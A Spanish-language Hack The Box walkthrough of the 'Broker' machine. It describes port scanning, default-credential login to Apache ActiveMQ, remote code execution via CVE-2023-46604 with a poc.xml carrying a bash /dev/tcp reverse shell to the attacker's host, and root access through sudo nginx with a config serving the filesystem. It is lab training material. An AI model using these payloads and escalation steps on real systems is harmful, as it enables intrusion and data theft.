Walkthrough — Broker (Hack The Box)
Walkthrough para la máquina Broker de HTB, enfocada en enumeración de puertos y explotación básica.
Introducción
Broker es una máquina de nivel Easy en Hack The Box. El enfoque principal está en identificar puertos expuestos mediante escaneo completo y explotar los servicios visibles.
- SO: Linux
- Dificultad: Easy
- Herramientas utilizadas:
nmap
🔎 Enumeración inicial
Lo primero que hice fue lanzar un escaneo completo de puertos usando nmap
, incluyendo scripts por defecto y detección de versiones, para ver qué exponía la máquina. El comando fue el siguiente:
nmap -sC -sV -p- -T4 10.10.11.243
-sC
: Usa los scripts por defecto de NSE para una enumeración básica.
-sV
: Detecta versiones de los servicios.
-p-
: Escanea los 65535 puertos, no solo los comunes.
-T4
: Acelera un poco el escaneo sin perder mucha estabilidad.
🧠 Análisis de servicios detectados
Este escaneo me da una visión completa del panorama de servicios que corren en la máquina:
- 22/tcp (SSH): Servicio típico de administración remota.
👉 Por ahora no me sirve mucho, pero lo apunto para post-explotación. Si consigo credenciales, podría ser una vía rápida de entrada o escalada. - 80/tcp (HTTP): Servidor web Nginx funcionando… ¡pero nos recibe con un 401 Unauthorized!
El detalle curioso es el realm"ActiveMQRealm"
, que me da una pista muy jugosa: probablemente hay una instancia de Apache ActiveMQ detrás.
📌 Esto nos puede llevar a un vector de ataque más adelante. Tomo nota…
nmap -sC -sV -p- -T4 10.10.11.243
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 SHA256:a45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| 256 SHA256:cc:75:de:4a:e6:i3:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_basic realm=ActiveMQRealm
🔐 Acceso al panel web de ActiveMQ
Al acceder vía HTTP a la IP 10.10.11.243
, el navegador me sorprendió con una ventana de autenticación básica:
Esto confirma lo que ya sospechábamos desde el escaneo de puertos: ¡hay un servicio de Apache ActiveMQ corriendo detrás!
🤔 ¿Qué hice?
Probé con las credenciales por defecto más clásicas del universo de las malas prácticas:
Username: admin
Password: admin
🎯 ¡Y funcionó!
Una vez dentro, fui redirigido a la interfaz de administración de ActiveMQ:
Desde aquí se pueden ver opciones para:
- Administrar el broker
- Visualizar demos web (¡a veces útiles para encontrar rutas inseguras!)
- Navegar documentación del framework
🧠 Conclusión
💡 El hecho de que ActiveMQ esté corriendo con las credenciales por defecto nos da acceso total al panel de administración. Esto puede abrir la puerta a:
- Carga de archivos maliciosos
- Ejecución de comandos
- Explotación de versiones vulnerables
¡Hora de ver qué versión corre y buscar un exploit!
🕵️♂️ Descubrimiento de rutas y panel oculto
Una vez dentro, me interesaba saber si había rutas o directorios interesantes detrás del servidor web. Para eso, utilicé ffuf
con la wordlist common.txt
de Seclists y el encabezado de autenticación básica en base64.
ffuf -u http://10.10.11.243/FUZZ \
-w /path/to/SecLists/Discovery/Web-Content/common.txt \
-H "Authorization: Basic YWRtaW46YWRtaW4=" \
-mc 200,204,301,302,307,403 \
-fs 401 -t 40
📌 La opción -fs 401
filtra las respuestas con código 401 (Unauthorized) que ya sabemos que aparecen si no está autenticado correctamente.
🧃 Resultado interesante
Se descubrió la ruta /admin/
, la cual abrí en el navegador, ¡y bingo! Me llevó al panel de administración real de ActiveMQ:
🧬 Identificación de versión
Desde la interfaz se muestra claramente la versión:
Apache ActiveMQ 5.15.15
🎯 Esta información es clave para buscar exploits públicos o vulnerabilidades conocidas.
🧠 Próximo paso:
Voy a buscar posibles exploits para esa versión. Algunos caminos que valen la pena:
- Revisar CVEs relacionados con ActiveMQ 5.15.15.
- Ver si permite subida de archivos, ejecución de comandos o lectura de rutas internas.
- Probar exploits disponibles en
searchsploit
oexploit-db
.
💥 Explotación – CVE-2023-46604 (Apache ActiveMQ RCE)
Después de identificar que el servidor corría Apache ActiveMQ 5.15.15, busqué vulnerabilidades asociadas y encontré una muy reciente:
Esta vulnerabilidad permite ejecución remota de comandos (RCE) mediante deserialización insegura en el protocolo OpenWire.
🔧 Preparación del entorno
El repositorio incluye dos archivos clave:
exploit.py
: script en Python que envía la carga maliciosa.poc.xml
: XML especialmente diseñado con payload para ejecutar comandos.
Este es un fragmento del archivo poc.xml
:
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/10.10.14.7/9001 0>&1</value>
</list>
</constructor-arg>
Este payload busca una reverse shell a nuestro equipo atacante (10.10.14.7
, puerto 9001
).
🔊 Preparando escucha y servidor
- Primero levanté una escucha con
netcat
en el puerto 9001:
nc -lvp 9001
- Luego, serví el archivo
poc.xml
por HTTP desde el mismo directorio del exploit:
sudo python3 -m http.server 80
Esto permite que el exploit.py
descargue el payload desde mi máquina atacante.
🚀 Listo para explotar
Con todo listo, ejecuté el script exploit.py
y… si todo va bien, debería obtener shell inversa 😈
🐚 Reverse Shell y flag de usuario
Con el listener listo y el servidor HTTP sirviendo el payload, ejecuté el exploit:
python3 exploit.py -i 10.10.11.243 -p 61616 -u http://10.10.14.7/poc.xml
✅ ¡Conexión recibida!
Al instante, mi listener en el puerto 9001
recibió conexión desde la máquina víctima. Tenía shell interactiva como el usuario activemq
:
nc -lvp 9001
Connection received on broker.htb 51634
activemq@broker:/opt/apache-activemq-5.15.15/bin$
🏁 Flag de usuario
Buscando en el home del usuario, encontré la flag:
cat user.txt
✅ ¡Primera flag conseguida!
Ahora tocaría explorar el sistema, buscar vectores para escalar privilegios y ver si podemos llegar a root
.
⬆️ Escalada de privilegios con Nginx (Sudo abuse)
Al revisar los permisos sudo con:
sudo -l
Me encontré con una joya:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
✅ ¡Puedo ejecutar Nginx como root sin contraseña!
🧠 Idea: Servir /root/
vía HTTP
Ya que Nginx puede ser lanzado como root, configuré un archivo .conf
personalizado para exponer la raíz del sistema a través de un puerto cualquiera.
Escribí el siguiente archivo:
user root;
events { worker_connections 1024; }
http {
server {
listen 1337;
root /;
autoindex on;
}
}
cat <<EOF > /dev/shm/read_root.conf
(user root; ...)
EOF
🚀 Lanzando Nginx como root
sudo /usr/sbin/nginx -c /dev/shm/read_root.conf
Esto inició Nginx con nuestra configuración y nos permitió acceder a /root/
desde localhost:1337
.
🏁 Flag de root
Usando curl
, simplemente accedí a la flag de root:
curl http://localhost:1337/root/root.txt
🎉 ¡Máquina completada con éxito!
✅ Resumen final
Acción | Resultado |
---|---|
Enumeración | Identificación de ActiveMQ y panel |
Explotación | CVE-2023-46604 RCE |
Acceso | Usuario activemq |
Escalada | Sudo abuse con Nginx |
Flags | user.txt , root.txt ✔️ |
Autor: gueco99
🧠 Hack the Box – Broker (Easy)